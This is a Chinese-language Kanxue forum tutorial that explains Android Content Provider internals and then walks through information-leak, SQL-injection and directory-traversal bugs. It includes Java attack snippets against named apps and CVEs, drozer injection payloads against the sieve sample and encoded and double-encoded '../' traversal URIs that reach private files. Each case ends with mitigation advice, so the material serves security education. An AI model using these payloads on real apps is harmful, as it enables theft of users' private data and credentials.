Android APP漏洞之战——Content Provider漏洞详解

本文为看雪论坛精华文章
看雪论坛作者ID：随风而行aa

1

前言

今天总结Android APP四大组件中Content Provider挖掘的知识，主要分为两个部分，一部分是对Android Content Provider内容提供器的原理总结，另一部分便是对Android provider机制常见的一些漏洞总结，包括一些已知的漏洞方法，和一部分案例实践。

2

Content Provider初步介绍

1、Content Provider的基本原理

（1）Content Provider简介

Android中的数据存储方式：Shared Preferences、网络存储、文件存储、外部存储、SQLite,这些存储方式一般在单独的应用程序中实现数据共享，对于不同应用之间共享数据，就要借助Content Provider。

ContentProvider为存储和读取数据提供了统一的接口，使用表的形式来对数据进行封装，使用ContentProvider可以在不同的应用程序之间共享数据，统一数据的访问方式，保证数据的安全性。

（2）Content Provider作用

Content Provider可以使得不同APP进程之间进行数据交互和共享，即跨进程通信。

（3）URI详解

我们创建一个Content Provider，其他的应用可以通过使用ContentResolver来访问ContentProvider提供的数据，而ContentResolver通过uri来定位自己要访问的数据，所以我们要先了解URI

URI：

URI的介绍：

（1）定义：Uniform Resource Identifier，即统一资源标识符。

（2）作用：唯一标识ContentProvider &其中的数据。

（3）外界进程通过URL找到对应的ContentProvider &其中数据，再进行数据操作。

（1）标准前缀：content:// ,用来说明一个Content Provider控制这些数据。

（2）URL的标识：com.carson.provider, 用于唯一标识这个ContentProvider，外部调用者可以根据这个标识来找到它。对于第三方程序，为了保证URL标识的一致性，必须是一个完整的、小写的类名，这个标识在元素的authorities属性中说明，一般是定义该ContentProvider的包.类的名称。

（3）路径：User,要操作的数据库中表的名字，或者可以自己定义，记得在使用的时候保持一致。

（4）记录ID：id, 如果URL中包含表示需要获取的记录ID,则返回该id对应的数据，如果没有ID,就表示返回全部。

构建URI的路径：

（1）操作User表中id为11的记录，构建数据：/User/11

（2）操作User表中id为11的记录的name字段：User/11/name

（3）操作User表中的所有记录：/User

（4）操作来自文件、xml或网络其他存储方式的数据，如要操作xml文件中User节点下的name字段：/User/name

（5）若要将一个字符串转换成URI,可以使用Uri类中的parse()方法：

    Uri uri = Uri.parse("content://com.carson.provider/User")

URI各部分的获取：

我们给出一个URI的样例：

http://www.baidu.com:8080/wenku/jiatiao.html?id=123456&name=jack

我们介意使用一些方法来获取URI的各个部分：

getScheme()：获取 Uri 中的 scheme 字符串部分，在这里是 http
getHost()：获取 Authority 中的 Host 字符串，即 www.baidu.com
getPost()：获取 Authority 中的 Port 字符串，即 8080
getPath()：获取 Uri 中 path 部分，即 wenku/jiatiao.html
getQuery()：获取 Uri 中的 query 部分，即 id=15&name=jack

MIME：

MIME是指定某个扩展名的文件用一种应用程序打开，就像用浏览器查看PDF格式的文件，浏览器会选择合适的应用打开。ContentProvider 会根据 URI 来返回 MIME 类型，ContentProvider 会返回一个包含两部分的字符串。

MIME 类型一般包含两部分，如：

text/html
text/css
text/xml
application/pdf

分为类型和子类型，Android 遵循类似的约定来定义MIME类型，每个内容类型的 Android MIME 类型有两种形式：多条记录（集合）和单条记录。

• 集合记录（dir）：

vnd.android.cursor.dir/自定义

• 单条记录（item）：

vnd.android.cursor.item/自定义

vnd 表示这些类型和子类型具有非标准的、供应商特定的形式。Android中类型已经固定好了，不能更改，只能区别是集合还是单条具体记录，子类型可以按照格式自己填写，在使用 Intent 时，会用到 MIME，根据 Mimetype 打开符合条件的活动。

URI解析:

这里URI代表要操作的数据，我们在对数据进行获取时需要解析URI，Android提供了两个操作URI的工具类：UriMatcher 和 ContentUris。

UriMatcher：

UriMatcher类用于匹配Uri，使用步骤如下：

• 将需要匹配的Uri路径进行注册：

//常量UriMatcher.NO_MATCH表示不匹配任何路径的返回码
UriMatcher  sMatcher = new UriMatcher(UriMatcher.NO_MATCH);
//如果match()方法匹配“content://com.wang.provider.myprovider/tablename”路径，返回匹配码为1
sMatcher.addURI("content://com.wang.provider.myprovider", " tablename ", 1);
//如果match()方法匹配content://com.wang.provider.myprovider/tablename/11路径，返回匹配码为2
sMatcher.addURI("com.wang.provider.myprovider", "tablename/#", 2);

此处采用 addURI 注册了两个需要用到的 URI；注意，添加第二个 URI 时，路径后面的 id 采用了通配符形式 “#”，表示只要前面三个部分都匹配上了就 OK。

补充：

*:表示匹配任意长度的任意字符
#:表示匹配任意长度的数字
匹配任意表的内容URI格式：
content：//com.example.app.provider/*
匹配table表中1任意一行数据的内容URI格式：
content：//com.example.app.procider/table/#

• 注册完需要匹配的 Uri 后，可以使用 sMatcher.match(Uri) 方法对输入的 Uri 进行匹配，如果匹配就返回对应的匹配码，匹配码为调用 addURI() 方法时传入的第三个参数。
  

switch (sMatcher.match(Uri.parse("content://com.zhang.provider.yourprovider/tablename/100"))) {
    case 1:
      //match 1, todo something
      break;
    case 2
      //match 2, todo something
      break;
    default:
      //match nothing, todo something
     break;
}

ContentUris：

ContentUris类用于操作Uri路径后面的ID部分，有两个比较实用的方法：withAppendedId(Uri uri, long id)和parseId(Uri uri)。

• withAppendedId(Uri uri, long id)用于为路径加上ID部分：

Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
//生成的Uri为：content://com.wang.provider.myprovider/tablename/10
 Uri resultUri = ContentUris.withAppendedId(uri, 10);

• parseId(Uri uri)则从路径中获取ID部分：

Uri uri = Uri.parse("content://com.zhang.provider.myprovider/tablename/10")
//获取的结果为：7
long personid = ContentUris.parseId(uri);

（4）Content Provider数据共享

ContentProvider是一个抽象类，我们需要开发自己的内容提供者就需要继承这个类并复写其方法：

ContentProvider 类主要方法的介绍：
public boolean onCreate()，在ContentProvider创建后就会被调用，而ContentProvider是在其它应用第一次访问它时被创建；
public Uri insert(Uri uri, ContentValues values)，供外部应用向ContentProvider添加数据；
public int delete(Uri uri, String selection, String[] selectionArgs)，供外部应用从ContentProvider删除数据；
public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs)，供外部应用更新ContentProvider中的数据；
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)，供外部应用从ContentProvider中获取数据；
public String getType(Uri uri)，返回当前Uri所代表数据的MIME类型；

如果操作的数据属于集合类型，那么 MIME 类型字符串应该以 vnd.android.cursor.dir/ 开头：

要得到所有 tablename 记录：Uri 为 content://com.wang.provider.myprovider/tablename，那么返回的MIME类型字符串应该为vnd.android.cursor.dir/table

如果要操作的数据属于非集合类型数据，那么 MIME 类型字符串应该以 vnd.android.cursor.item/ 开头：

要得到 id 为 10 的 tablename 记录，Uri 为 content://com.wang.provider.myprovider/tablename/10，那么返回的 MIME 类型字符串为：vnd.android.cursor.item/tablename

（5）Content Resolver操作数据

当外部应用需要对ContentProvider中的数据进行添加、删除、修改及查询操作时，可以使用ContentResolver类来完成，要获取ContentResolver对象，可以使用Activity提供getContentResolver()。

ContentResolver类提供了与ContentProvider类相同签名的四个方法：

public Uri insert(Uri uri, ContentValues values)，往ContentProvider添加数据；

public int delete(Uri uri, String selection, String[] selectionArgs)，从ContentProvider删除数据；

public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs)，更新ContentProvider中的数据；

public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)，从ContentProvider中获取数据；

这些方法的第一个参数为Uri，代表要操作的ContentProvider和对其中的什么数据进行操作，其实和ContentProvider里面的方法是一样的，最终会被传到我们之前程序里面定义的ContentProvider方法。

假定给定的是：Uri.parse("content://com.wang.provider.myprovider/tablename/10")，
那么将会对主机名为com.wang.provider.myprovider的ContentProvider进行操作，操作的数据为tablename表中id为10的记录

使用ContentResolver对ContentProvider中的数据进行操作：

ContentResolver resolver = getContentResolver();
 Uri uri = Uri.parse("content://com.wang.provider.myprovider/tablename");
 //添加一条记录
 ContentValues values = new ContentValues();
 values.put("name", "wang1");
 values.put("age", 28);
 resolver.insert(uri, values);
 //获取tablename表中所有记录
 Cursor cursor = resolver.query(uri, null, null, null, "tablename data");
while(cursor.moveToNext()){
   Log.i("ContentTest", "tablename_id="+ cursor.getInt(0)+ ", name="+ cursor.getString(1));
}
//把id为1的记录的name字段值更改新为zhang1
ContentValues updateValues = new ContentValues();
updateValues.put("name", "zhang1");
Uri updateIdUri = ContentUris.withAppendedId(uri, 2);
resolver.update(updateIdUri, updateValues, null, null);
//删除id为2的记录，即字段age
Uri deleteIdUri = ContentUris.withAppendedId(uri, 2);
resolver.delete(deleteIdUri, null, null);

监听数据变化：

如果ContentProvider的访问者需要知道数据发生的变化，可以在ContentProvider发生数据变化时调用getContentResolver().notifyChange(uri, null)来通知注册在此URI上的访问者。只给出类中监听部分的代码：

public class MyProvider extends ContentProvider {
   public Uri insert(Uri uri, ContentValues values) {
     db.insert("tablename", "tablenameid", values);
      getContext().getContentResolver().notifyChange(uri, null);
   }
}

而访问者必须使用ContentObserver对数据（数据采用uri描述）进行监听，当监听到数据变化通知时，系统就会调用ContentObserver的onChange()方法：

getContentResolver().registerContentObserver(Uri.parse("content://com.ljq.providers.personprovider/person"),
        true, new PersonObserver(new Handler()));
 public class PersonObserver extends ContentObserver{
     public PersonObserver(Handler handler) {
       super(handler);
     }
     public void onChange(boolean selfChange) {
        //to do something
     }
 }

（6）Content Provider使用

创建内容提供者的基本流程：

（1）创建一个扩展ContentProviderbaseclass的 Content Provider 类。

（2）定义将用于访问内容的内容提供者 URI 地址。

（3）创建自己的数据库来保存内容。通常，Android 使用 SQLite 数据库，框架需要覆盖onCreate()方法，该方法将使用 SQLite Open Helper 方法创建或打开提供者的数据库。当您的应用程序启动时，其每个内容提供程序的onCreate()处理程序在主应用程序线程上被调用。

（4）实现内容提供者查询以执行不同的数据库特定操作。

（5）最后使用 <provider> 标签在您的活动文件中注册您的内容提供者。

2、Content Provider漏洞的种类和危害

Content Provoder漏洞大致可以分为：

Content Provider漏洞的危害：

Android中Content Provider起到在不同的进程APP之间实现共享数据的作用，通过Binder进程间通信机制以及匿名共享内存机制来实现，但是考虑到数据的安全性，我们需要设置一定的保护权限。

Binder进程间通信机制突破了以应用程序为边界的权限控制，是安全可控的，数据的访问接口由数据的所有者来提供，数据提供方实现安全控制，决定数据的读写操作。

而content Provider组件本身提供了读取权限控制，这导致在使用过程中就会存在一些漏洞。

3

Content Provider漏洞原理分析和复现

1、漏洞挖掘方法

先检测组件的exported属性，再检测组件permission、readPermission、writePermissio对应的protectionlevel，最后再检测sdk版本。

（1）查找导出Provider

①反编译 apk 文件，在AndroidManifest.xml中查找显示设置了android:exported="true"Content Provider。

②使用drozer工具，执行命令：run app.provider.info -a ddns.android.vuls。

（2）查找URI

• 反编译apk文件，在代码中查找UriMatcher.addURI，并手动拼接uri。

如上，可以拼接出：

content://ddns.vuls.AccountProvider/account
content://ddns.vuls.AccountProvider/account/
content://ddns.vuls.AccountProvider/account/1
content://ddns.vuls.AccountProvider/account/aaa

• 使用drozer工具

执行命令 run app.provider.finduri ddns.android.vuls

（3）方法使用

1.使用adb shell查询
例子：adb shell content query --uri 具体uri
2.使用drozer验证
例子：run app.provider.query "具体uri"
3.编写目标代码
例如：
private void getyouni(){
    int i = 0;
    ContentResolver contentresolver=getContentResolver();
    String[] projection={"* from contacts--"};
    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
    Cursor cursor=contentresolver.query(uri.projection,null,null,null);
    String text="";
    while(cursor.moveToNext()){
        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
    }
    Log.i("TEST",text);
}

我们下面将结合这三种方法来对一些常见的案例进行漏洞挖掘介绍。

2、信息泄露漏洞

（1）原理介绍

content URI是一个标志provider中的数据的URI。Content URI中包含了整个provider的以符号表示的名字(它的authority)和指向一个表的名字(一个路径)。当你调用一个客户端的方法来操作一个，provider中的一个表，指向表的contentURI是参数之一，如果对ContentProvider的权限没有做好控制，就有可能导致恶意的程序通过这种方式读取APP的敏感数据。

（2）漏洞复现

案例1：盛大有你Android存在信息泄露漏洞

目标代码：

<provider android:name=".providers.YouNiProvider" android:process="com.snda.youni.mms" android:authorities="com.snda.youni.providers.DataStructs"/>

攻击代码：

private void getyouni(){
    int i = 0;
    ContentResolver contentresolver=getContentResolver();
    String[] projection={"* from contacts--"};
    Uri uri =Uri.parse("content://com.snda.youni.providers.DataStructs/message_ex");
    Cursor cursor=contentresolver.query(uri.projection,null,null,null);
    String text="";
    while(cursor.moveToNext()){
        text+=cursor.getString(cursor.getColumnIndex("display_name"))+"\n";
    }
    Log.i("TEST",text);
}

代码分析：

我们可以分析目标程序的provider的进程名和授权的的URI，我们可以根据授权的URI来构建一个URI，然后通过contentresolver去读取里面的的列表名信息，这样我们就可以获取APP中的隐私数据信息。

案例2：样例sieve.apk

我们先向apk中添加一条数据，然后保存：

我们先使用drozer对内容提供器的路径进行扫描：

run scanner.provider.finduris -a <包名>

报错：drozer could not find or compile a required extension library

这是由于我们drozer2.7中代码导致的，我们需要修改相应的代码，参考网址(https://github.com/FSecureLABS/drozer/issues/361 )

我们可以对敏感数据读取：

run app.provider.query uri

我们就成功的将我们刚才保存的账号密码信息给获取了。

案例3：CVE-2018-9546: Download Provider文件头信息泄露

漏洞描述：

Download Provider运行app获取下载的http请求头，但理论上APP只能访问自己下载的文件的http请求头，但Download Provider没有做好权限配置，导致heads可以被任意读取。header中会保存一些敏感数据，例如cookie等。

目标代码：

读取header的URI为：content://download/mydownloads/download_id/headers

攻击代码：

Uri uri = Uri.parse("content://download/mydownloads/1493/headers");
Cursor cur = res.query(uri, null, null, null, null);

try {
    if (cur != null && cur.getCount() > 0) {
        StringBuilder sb = new StringBuilder(LOG_SEPARATOR);
        sb.append("HEADERS FOR DOWNLOAD ID ").append(id).append("\n");
        while (cur.moveToNext()) {
            String rowHeader = cur.getString(cur.getColumnIndex("header"));
            String rowValue = cur.getString(cur.getColumnIndex("value"));
            sb.append(rowHeader).append(": ").append(rowValue).append("\n\n");
        }
        log(sb.toString());
    }
} finally {
    if (cur != null)
        cur.close();
}

由于header的URI并未做一些防护措施，我们可以将download_id取具体的值，然后来获取里面的具体信息。

（3）安全防护

① minSdkVersion不低于9。

②不向外部app提供数据的私有content provider显示设置exported=”false”，避免组件暴露(编译api小于17时更应注意此点)。

③内部app通过content provid交换数据时，设置protectionLevel=”signature”验证签名。

④公开的content provider确保不存储敏感数据。

针对权限保护绕过防御措施：

①使用Context.checkCallingPermission()和Context.enforceCallingPermission()来确保调用者拥有相应的权限，防止串谋攻击(confused deputy)。

②可以使用如下函数，获取应用的permission保护级别是否与系统中已定义的permission保护级别一致。如果不一致，则抛出异常。

3、SQL注入漏洞

（1）原理介绍

对Content Provider进行增删改查操作时，程序没有对用户的输入进行过滤，未采用参数化查询的方式，可能会导致sql注入攻击。

所谓的SQL注入攻击指的是攻击者可以精心构造selection参数、projection参数以及其他有效的SQL语句组成部分，实现在未授权的情况下从Content Provider获取更多信息。应该避免使用SQLiteDatabase.rawQuery()进行查询，而应该使用编译好的参数化语句。

使用预编译好的语句比如SQLiteStatement，不仅可以避免SQL注入，而且操作性能也大幅提高，因为其不用每次执行都进行解析。

另外一种方式是使用query(),insert(),update(),和delete()方法，因为这些函数也提供了参数化的语句。预编译的参数化语句，问号处可以插入或者使bindString()绑定值。从而避免SQL注入攻击。

（2）漏洞复现

案例1：安全管家客户端存在SQL注入攻击

漏洞说明：

Android版安全管家客户端contentprovider uri配置不当，导致sql注入，使得任何应用可不需要root权限下，获得和修改数据库中数据。

Androidmanifest文件中定义的provider：

使用drozer扫描客户端程序存在的contentProvider uri：

搜索到对外暴露可访问的uri：

newapp.db结构：

查看新安装应用的包名：

查看白名单：

案例2：样本sieve

我们使用drozer扫描注入的位置：

run scanner.provider.injection -a <包名>

然后我们执行以下命令，发现返回了报错信息，接着构造sql获取敏感数据。

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"

列出所有表信息：

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

获取具体表信息：

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

列出该app的表信息：

run scanner.provider.sqltables -a  com.mwr.example.sieve

案例3：CVE-2018-9493: Download Provider SQL注入

漏洞分析：

Download Provider中的以下columns是不允许被外部访问的，例如CookieData，但是利用SQL注入漏洞可以绕过这个限制。

projection参数存在注入漏洞，结合二分法可以爆出某些columns字段的内容。

目标代码：

攻击代码：

详细可以参考该作者博客：(https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)

（3）安全防护

①实现健壮的服务端校验。

②使用参数化查询语句，比如SQLiteStatement。

③避免使用rawQuery()。

④过滤用户的输入。

4、目录遍历漏洞

（1）原理介绍

Android Content Provider存在文件目录遍历安全漏洞，该漏洞源于对外暴露Content Provider组件的应用，没有对Content Provider组件的访问进行权限控制和对访问的目标文件的Content Query Uri进行有效判断，攻击者利用该应用暴露的Content Provider的openFile()接口进行文件目录遍历以达到访问任意可读文件的目的。

漏洞触发的前提条件：

对外暴露的Content Provider组件实现了openFile()接口；

没有对所访问的目标文件Uri进行有效判断，如没有过滤限制如“../”可实现任意可读文件的访问的Content Query Uri。

（2）漏洞复现

案例1：赶集网Android客户端Content Provider组件任意文件读取漏洞（http://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2013-044407）

漏洞分析：

赶集网客户端APP的实现中定义了一个可以访问本地文件的Content Provider组件，默认的android:exported="true"，对应com.ganji.android.jobs.html5.LocalFileContentProvider，该Provider实现了openFile()接口，通过此接口可以访问内部存储app_webview目录下的数据，由于后台未能对目标文件地址进行有效判断，可以通过"../"实现目录跨越，实现对任意私有数据的访问（当然，也可以访问任意外部存储数据，只是我们更关心私有敏感数据）。

攻击代码：

public void GJContentProviderFileOperations(){
    try{
        InputStream in = getContentResolver().openInputStream(Uri.parse("content://com.ganji.html5.localfile.1/webview/../../shared_prefs/userinfo.xml"));
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024];
        int n = in.read(buffer);
        while(n>0){
            out.write(buffer, 0, n);
            n = in.read(buffer);
            Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
        }
    }catch(Exception e){
        debugInfo(e.getMessage());
    }
}

案例2：样本sieve

我们检测文件遍历漏洞：

run scanner.provider.traversal -a <包名>

我们读取系统文件：

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

我们下载系统文件：

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db

案例3：

目标代码：

private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();
public ParcelFileDescriptor openFile(Uri paramUri,String paramString);
throws FileNotFoundException{
    File file=new File(IMAGE_DIRECTORY,paramUri.getLastPathSegment());
    return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);
}

我们可以从目标代码中分析，这段代码使用android.net.Uri.getLastPathSegment()从paramUri中获取文件名，然后将其放置在预定义好的目录IMAGE_DIRECTORY中，如果该URL是encoded编码后的，那么将可能导致目录遍历漏洞。

Android4.3开始，Uri.getLastPathSegment()内部实现调用Uri.getPathSegments()。

Uri.getPathSegments()部分代码片段： 
PathSegments getPathSegments(){
    if(pathSegments!=null){
        return pathSegments;
    }
    String path = getEncoded();
    if(path==null){
        return pathSegments = PathSegments.EMPTY;
    }
    PathSegmentsBuilder segmentBuilder=new PathSegmentsBuilder();
    int previous =0;
    int current;
    while((current=path.indexOf('/',previous))>-1){
        if(previous<current){
            String decodedSegment=decode(path.substring(previous,current));
            segmentBuilder.add(decodedSegment);
        }
        previous=current+1;
    }
    if(previous<path.length()){
        segmentBuilder.add(decode(path.substring(preyious)));
    }
    return pathSegments=segmentBuilder.build();
}

Uri.getPathSegments首先会通过getEncoded()获取一个路径，然后以”/“为分隔符将path分成片段，最后调用decode()方法解码。

假如我们传递encoded编码后的url给getLastPathSegment()，编码后的分隔符就变成了%2F，绕过了内部的分割规则，那么返回的就可能不是真正想要的文件了。这是API设计方面的问题，直接导致了目录遍历漏洞。

public String getLastPathSegment(){
    List<String> segments=getPathSegments();
    int size=segments.size();
    if(size==0){
        return null;
    }
    return segments.get(size-1);
}

为了避免这种情况导致的目录遍历漏洞，开发者应该在传递给getLastPathSegment()之前解码，采用调用两次getLastPathSegment()方法的方式，第一次调用是为了解码，第二次调用期望得到正确的值这一部分大家可以详细参考博客：(https://tea9.xyz/post/758430476.html)

private static String IMAGE_DIRECTORY=localFile.getAbsolutePath();
    public ParcelFileDescriptor openFile(Uri paramUri,String paramString) throws FileNotFoundException{
        File file=new File(IMAGE_DIRECTORY,Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment());
        return ParcelFileDescriptor.open(file,ParcelFileDescriptor.MODE_READ_ONLY);
    }

这个编码后的URL： ..%2F..%2F..%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml  
第一次调用getLastPathSegment()，会返回../../../data/data/com.example.android.app/shared_prefs/Example.xml。  
第二次调用getLastPathSegment()会返回Example.xml 


然而攻击者可以采用一种叫做"Double Encoding"的技术，使得第一次调用getLastPathSegment()后无法解码。

比如下面经过double encoded后的string就可以绕过上面这种防御

%252E%252E%252F%252E%252E%252F%252E%252E%252Fdata%252Fdata%252Fcom.example.android.app%252Fshared_prefs%252FExample.xml

第一次解码后： %2E%2E%2F%2E%2E%2F%2E%2E%2Fdata%2Fdata%2Fcom.example.android.app%2Fshared_prefs%2FExample.xml

第二次解码后： ../../../data/data/com.example.android.app/shared_prefs/Example.xml
仍会导致目录遍历。所以简单的解码后再传人也是不够的，仍然需要严格校验以确保path是期望的路径。

（3）安全防护

① 将不必要导出的Content Provider设置为不导出。

② 去除没有必要的openFile()接口。

③ 过滤限制跨域访问，对访问的目标文件的路径进行有效判断。

④ 设置权限来进行内部应用通过Content Provider的数据共享。

4

实验总结

本文对Content Provider内容提供器的基本原理做了一个详细讲解，然后对Provider常见的一些漏洞情况作了分析，这里面一部分漏洞来自于漏洞平台，一部分来自于网上的博客收集总结，还提供了一个样例sieve.apk，初步的实现信息泄露、SQL注入、目录遍历漏洞的基本操作方式，也介绍了一般挖掘provider漏洞的基本方法。

其中关于drozer的具体操作使用，大家可以参考之前的博客：Android漏洞挖掘三板斧——drozer+Inspeckage(Xposed)+MobSF（https://bbs.pediy.com/thread-269196.htm），当然可能对于Provider中的漏洞介绍还不是很全面，其他的就请各位大佬指正了。

5

参考文献

Content Provider原理介绍

https://www.cnblogs.com/tgyf/p/4696288.html

https://www.jianshu.com/p/5e13d1fec9c9

https://www.cnblogs.com/huansky/p/13785634.html

http://www.tutorialspoint.com/android/android_content_providers.htm

Content Provider漏洞挖掘

https://tea9.xyz/post/758430476.html

https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/

https://wy.zone.ci/bug_detail.php?wybug_id=wooyun-2015-0156386

http://www.feidao.site/wordpress/?p=3295

http://www.hackdig.com/03/hack-19497.htm

https://mabin004.github.io/2019/04/15/Android-Download-Provider%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

看雪ID：随风而行aa

https://bbs.pediy.com/user-home-905443.htm

*本文由看雪论坛 随风而行aa 原创，转载请注明来自看雪社区

# 往期推荐

公众号ID：ikanxue

官方微博：看雪安全

商务合作：[e-mail]

球分享

球点赞

球在看

点击“阅读原文”，了解更多！